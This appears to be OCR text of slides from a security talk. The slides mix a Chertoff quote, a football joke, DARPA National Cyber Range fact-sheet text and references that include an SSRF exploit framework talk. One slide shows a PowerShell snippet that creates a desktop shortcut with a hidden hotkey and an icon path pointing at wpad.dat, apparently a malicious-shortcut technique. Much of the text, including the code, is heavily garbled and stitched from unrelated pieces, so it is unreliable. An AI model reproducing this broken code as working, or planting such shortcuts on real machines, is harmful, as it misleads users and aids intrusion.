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2T IEXII A MEFIR X

former Homeland Security Secretary
Michael Chertoff stated,

“There are two types of people: those
who have been hacked, and those who
don't know they've been hacked.”
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TI'he English Plan I'he German Plan The Italian Plan

Depending on the wind, the striker’s position may vary. .. Radical, efficient, unstoppable. .. (ball’s speed may reach 297 km/h) Iron defense, small ideas in midfield, passes to striker..and.. Penalty

The Brasilian Plan The Swiss Plan I'he French Plan

In their plan, they try all possible hypotesis.
Shit! They forgot the goal

... o comments! They manage to lose the game by themselves, no help needed.
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The Turkish Plan The Chinese Plan

Note: the red dot 1s not the ball, 1t’s the referee.
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Strategic Technology OMca

The National Cyber Range:

A NATIONAL TESTBED FOR CRITICAL SECURITY RESEARCH

Scientific progress has frequently
been constrained by a lack

of adequate tools to support
observation, measurement and
analysis. For example, significant

progress was delayed in astronomy,

biology, and particle physics

until advances were made 1n
telescopes, microscopes, and
particle accelerators. The Defense
Advanced Research Projects
Agency (DARPA) is developing
the National Cyber Range (NCR)
to provide realistic, quantifiable
assessments of the Nation’s

cyber research and development
technologies. The NCR will
enable a revolution 1n national
cyber capabilities and accelerate
technology transition in support
of the President’s Comprehensive
National Cyber-Security Initiative
(CNCI).

DARPA is creating the National

v
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The National Cyber Range will allow classified
and unclassified researchers to measure their
progress in either a classified or unclassified
environment, against appropriate threats, with
sufficient timeliness and accuracy to allow for
corrections and identify new capability needs.

National Cyber Range

Adaptable, multi-dimensional, heterogeneous cyber test environment
Yr*e Nation’s environment for cyber reseorch

The National Cyber Range is the measurement capablllty providlng a realistic quantifiable assessment of
the Nation’s cyber research and development technologies, enabling a revolution in national cyber

capabilities and accelerate transition of these technologies

Leap-ahead research and
quantifiable assessment of cyber
tools, processes and architectures

. In esther a dassified or undassified facilitates:
environment,

The Netional Cyber Range will allow
classified and unclassified researchers to
measure their progress...

1y national cyber capabilities
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Pro aqu the envuonment to solve lhe Nabon s Cybet pfob.ems
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What is the National Cyber Range? SI®

B e ey e

A dedicated cyber lestbed o enhance the Nation's ability to defend against cyber altacks

The Nabonal Cyber Range w

* Provide & dedicated "test bead
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Jindows PowerShell R
Microsoft Corporation. 1%2.‘3“I'=Fr'f£TJf""'?I| a

= $Shell = Hew—0bject —ComObject {"WScript.Shell')
ers rooty $ShortCut = 5Shell.CreateShortcut{Senv:USERPROFILE + "“"“Desktop-: ELbllieas s Tnk' >
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5ShortCut . TargetPath=""2 - - '
S$ShortCut . Arguments="""

S$ShortCut .WorkingDirectory = “"xtempx''s
SShortCut .WindowStyle = 1;

$ShortCut .Hotkey = "CTRL+SHIFT+F";
$ShortCut.IconLocation = ""“swpadswpad.dat';

S$ShortCut .Description = "Taohao";
$ShortCut . Saved

$Shell = Hew—0bject —ComObject {"WScript.Shell')

S$ShortCut = 55]1&11.Ereateﬂhurtcut(ﬁenu;_I._IE_EHPHDFILE + "“Desktop™

S$ShortCut .TargetPath="" "
S$ShortCut . Arguments="""

S$ShortCut .WorkingDirectory = “"xtempx''s
SShortCut .WindowStyle = 13

$ShortCut .Hotkey = "CTRL+SHIFT+F";
$ShortCut.IconLocation = "%
SShortCut .Description = "Taohao';
$ShortCut . Saved
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* National Cyber Range Overview http://www.acq.osd.mil/dte-

trmc/docs/20150224 NCR%200verview_DistA.pdf

 The National Cyber Range: A National Testbed for Critical Security Research

https.//www.whitehouse.gov/files/documents/cyber/DARPA%20-

%20NationalCyberRange FactSheet.pdf
* Build Your SSRF Exploit Framework

http://static.wooyun.org/summit/2016/Whitehat-Day/1-GGBond.pdf



http://www.acq.osd.mil/dte-trmc/docs/20150224_NCR Overview_DistA.pdf
https://www.whitehouse.gov/files/documents/cyber/DARPA - NationalCyberRange_FactSheet.pdf
http://static.wooyun.org/summit/2016/Whitehat-Day/1-GGBond.pdf
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